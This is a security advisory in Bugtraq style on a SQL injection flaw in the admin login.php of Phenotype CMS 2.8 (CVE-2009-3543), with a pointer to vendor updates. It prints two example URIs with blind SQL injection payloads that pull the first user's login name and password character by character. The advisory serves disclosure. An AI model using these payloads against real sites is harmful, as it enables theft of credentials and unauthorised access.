Phenotype CMS 'login.php' SQL Injection Vulnerability

Bugtraq ID:	43620
Class:	Input Validation Error
CVE:	CVE-2009-3543
Remote:	Yes
Local:	No
Published:	Jul 10 2009 12:00AM
Updated:	Jul 10 2009 12:00AM
Credit:	Sina Yazdanmehr
Vulnerable:
Not Vulnerable:

Phenotype CMS 'login.php' SQL Injection Vulnerability

Phenotype CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Phenotype CMS 2.8 is vulnerable; other versions may also be affected.

Phenotype CMS 'login.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_login from user limit 1,1),1,1))=[ascii code try]/*
#http://www.example.com/_phenotype/admin/login.php?user=-999') and ascii(substring((select user_pass from user limit 1,1),1,1))=[ascii code try]/*

Phenotype CMS 'login.php' SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for details.

Phenotype CMS 'login.php' SQL Injection Vulnerability

References:

• Phenotype Change Log (Phenotype)
  
• Phenotype Homepage (Phenotype)